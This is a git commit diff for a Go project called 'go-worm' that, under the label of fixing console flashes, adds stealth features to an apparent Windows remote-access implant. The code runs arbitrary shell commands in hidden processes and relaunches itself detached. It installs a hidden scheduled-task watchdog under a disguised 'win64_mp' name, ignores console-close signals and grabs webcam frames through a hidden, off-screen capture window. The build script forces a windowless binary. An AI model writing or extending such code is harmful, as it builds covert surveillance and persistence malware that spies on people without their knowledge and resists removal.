fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script
This commit is contained in:
2026-09-01 23:25:06 +03:00
parent e74f74bc4e
commit cc2b1d049b
12 changed files with 103 additions and 36 deletions
+3 -8
View File
@@ -5,12 +5,10 @@ import (
"context" "context"
"errors" "errors"
"os/exec" "os/exec"
"syscall"
"time" "time"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/models"
) )
@@ -34,11 +32,8 @@ func ResolveTimeout(seconds int) (time.Duration, error) {
} }
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) { func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline) cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline)
cmd.SysProcAttr = &syscall.SysProcAttr{ cmd.SysProcAttr = helpers.HiddenSysProcAttr()
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW,
}
var stdout, stderr bytes.Buffer var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout cmd.Stdout = &stdout
cmd.Stderr = &stderr cmd.Stderr = &stderr
+9
View File
@@ -0,0 +1,9 @@
//go:build !windows
package helpers
import "syscall"
func HiddenSysProcAttr() *syscall.SysProcAttr { return nil }
func HiddenDetachedSysProcAttr() *syscall.SysProcAttr { return nil }
+28
View File
@@ -0,0 +1,28 @@
//go:build windows
package helpers
import (
"syscall"
"golang.org/x/sys/windows"
)
// HiddenSysProcAttr starts a process with no console window.
func HiddenSysProcAttr() *syscall.SysProcAttr {
return &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW,
}
}
// HiddenDetachedSysProcAttr is HiddenSysProcAttr plus a new process group so
// the child survives after the parent exits (install relaunch, updates).
func HiddenDetachedSysProcAttr() *syscall.SysProcAttr {
return &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW |
windows.CREATE_NEW_PROCESS_GROUP |
windows.DETACHED_PROCESS,
}
}
+2
View File
@@ -7,3 +7,5 @@ func HideConsole() {}
func ShowConsole() {} func ShowConsole() {}
func ProtectFromConsoleClose() {} func ProtectFromConsoleClose() {}
func AllowConsoleKill() {}
+15
View File
@@ -26,6 +26,13 @@ const (
ctrlCloseEvent = 2 ctrlCloseEvent = 2
) )
func init() {
// Must run before main: a console-subsystem build otherwise flashes a
// terminal during flag.Parse, which looks like a broken automation step.
ProtectFromConsoleClose()
HideConsole()
}
// HideConsole hides any console window and detaches from it. // HideConsole hides any console window and detaches from it.
func HideConsole() { func HideConsole() {
hwnd, _, _ := procGetConsoleWindow.Call() hwnd, _, _ := procGetConsoleWindow.Call()
@@ -56,6 +63,14 @@ func ProtectFromConsoleClose() {
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1) _, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
} }
// AllowConsoleKill restores default Ctrl+C handling for -foreground.
func AllowConsoleKill() {
if consoleCtrlCallback == 0 {
return
}
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
}
func consoleCtrlHandler(ctrlType uintptr) uintptr { func consoleCtrlHandler(ctrlType uintptr) uintptr {
switch uint32(ctrlType) { switch uint32(ctrlType) {
case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent: case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
+2 -8
View File
@@ -5,9 +5,8 @@ package instance
import ( import (
"os" "os"
"os/exec" "os/exec"
"syscall"
"golang.org/x/sys/windows" "tea.chunkbyte.com/kato/go-worm/lib/helpers"
) )
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps // Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
@@ -23,12 +22,7 @@ func Launch(exe string, args []string) error {
cmd.Stdin = nul cmd.Stdin = nul
cmd.Stdout = nul cmd.Stdout = nul
cmd.Stderr = nul cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{ cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW |
windows.CREATE_NEW_PROCESS_GROUP |
windows.DETACHED_PROCESS,
}
if err := cmd.Start(); err != nil { if err := cmd.Start(); err != nil {
return err return err
} }
+1
View File
@@ -31,6 +31,7 @@ func watchdogTaskXML(exe string) string {
b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`) b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`) b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
b.WriteString(`<Hidden>true</Hidden>`) b.WriteString(`<Hidden>true</Hidden>`)
b.WriteString(`<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>`)
b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`) b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`) b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
b.WriteString(`<Enabled>true</Enabled>`) b.WriteString(`<Enabled>true</Enabled>`)
+5 -2
View File
@@ -22,8 +22,11 @@ func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") { if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
t.Fatalf("WorkingDirectory missing:\n%s", xml) t.Fatalf("WorkingDirectory missing:\n%s", xml)
} }
if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") { if !strings.Contains(xml, "<Hidden>true</Hidden>") {
t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent") t.Fatalf("task must be hidden:\n%s", xml)
}
if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
t.Fatalf("unified scheduler missing:\n%s", xml)
} }
} }
+2 -4
View File
@@ -7,12 +7,10 @@ import (
"os" "os"
"os/exec" "os/exec"
"strings" "strings"
"syscall"
"unicode/utf16" "unicode/utf16"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
) )
func enableWatchdog() error { func enableWatchdog() error {
@@ -45,7 +43,7 @@ func disableWatchdog() error {
func runSchtasks(args ...string) error { func runSchtasks(args ...string) error {
cmd := exec.Command("schtasks", args...) cmd := exec.Command("schtasks", args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} cmd.SysProcAttr = helpers.HiddenSysProcAttr()
out, err := cmd.CombinedOutput() out, err := cmd.CombinedOutput()
if err != nil { if err != nil {
msg := strings.TrimSpace(string(out)) msg := strings.TrimSpace(string(out))
+16 -12
View File
@@ -25,21 +25,23 @@ var (
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW") procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
procSendMessageW = user32.NewProc("SendMessageW") procSendMessageW = user32.NewProc("SendMessageW")
procDestroyWindow = user32.NewProc("DestroyWindow") procDestroyWindow = user32.NewProc("DestroyWindow")
procShowWindow = user32.NewProc("ShowWindow")
captureMu sync.Mutex captureMu sync.Mutex
) )
const ( const (
wmUser = 0x0400 wmUser = 0x0400
wmCapStart = wmUser wmCapStart = wmUser
wmCapUnicodeStart = wmUser + 100 wmCapUnicodeStart = wmUser + 100
wmCapDriverConnect = wmCapStart + 10 wmCapDriverConnect = wmCapStart + 10
wmCapDriverDisconnect = wmCapStart + 11 wmCapDriverDisconnect = wmCapStart + 11
wmCapFileSaveDIBW = wmCapUnicodeStart + 25 wmCapFileSaveDIBW = wmCapUnicodeStart + 25
wmCapGrabFrame = wmCapStart + 60 wmCapGrabFrame = wmCapStart + 60
wmCapSetPreview = wmCapStart + 50 wmCapSetPreview = wmCapStart + 50
wmCapSetScale = wmCapStart + 53 wmCapSetScale = wmCapStart + 53
wsPopup = 0x80000000 wsPopup = 0x80000000
maxDrivers = 10 swHide = 0
maxDrivers = 10
) )
type Device struct { type Device struct {
@@ -99,15 +101,17 @@ func Capture(index int, format string, quality int) (models.CapturedImage, error
if err != nil { if err != nil {
return models.CapturedImage{}, err return models.CapturedImage{}, err
} }
off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
hwnd, _, callErr := procCapCreateCaptureWindowW.Call( hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
uintptr(unsafe.Pointer(title)), uintptr(unsafe.Pointer(title)),
wsPopup, wsPopup, // no WS_VISIBLE
0, 0, 320, 240, off, off, 320, 240,
0, 0, 0, 0,
) )
if hwnd == 0 { if hwnd == 0 {
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr) return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
} }
_, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
defer procDestroyWindow.Call(hwnd) defer procDestroyWindow.Call(hwnd)
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0) ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
+1 -2
View File
@@ -42,10 +42,9 @@ func main() {
flag.Parse() flag.Parse()
if *foreground { if *foreground {
instance.AllowConsoleKill()
instance.ShowConsole() instance.ShowConsole()
} else { } else {
instance.ProtectFromConsoleClose()
instance.HideConsole()
_ = helpers.AttachLogFile() _ = helpers.AttachLogFile()
} }
+19
View File
@@ -5,4 +5,23 @@ cd "$(dirname "$0")/.."
out="${1:-win64_mp.exe}" out="${1:-win64_mp.exe}"
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" . GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
python3 - "$out" <<'PY'
import struct, sys
path = sys.argv[1]
with open(path, "r+b") as f:
f.seek(0x3C)
pe = struct.unpack("<I", f.read(4))[0]
f.seek(pe)
if f.read(4) != b"PE\x00\x00":
raise SystemExit(f"not a PE file: {path}")
opt = pe + 24
f.seek(opt)
magic, = struct.unpack("<H", f.read(2))
if magic not in (0x10B, 0x20B):
raise SystemExit(f"unknown PE magic {magic:#x}")
f.seek(opt + 68)
f.write(struct.pack("<H", 2))
print(f"pe subsystem=gui {path}")
PY
echo "built $out" echo "built $out"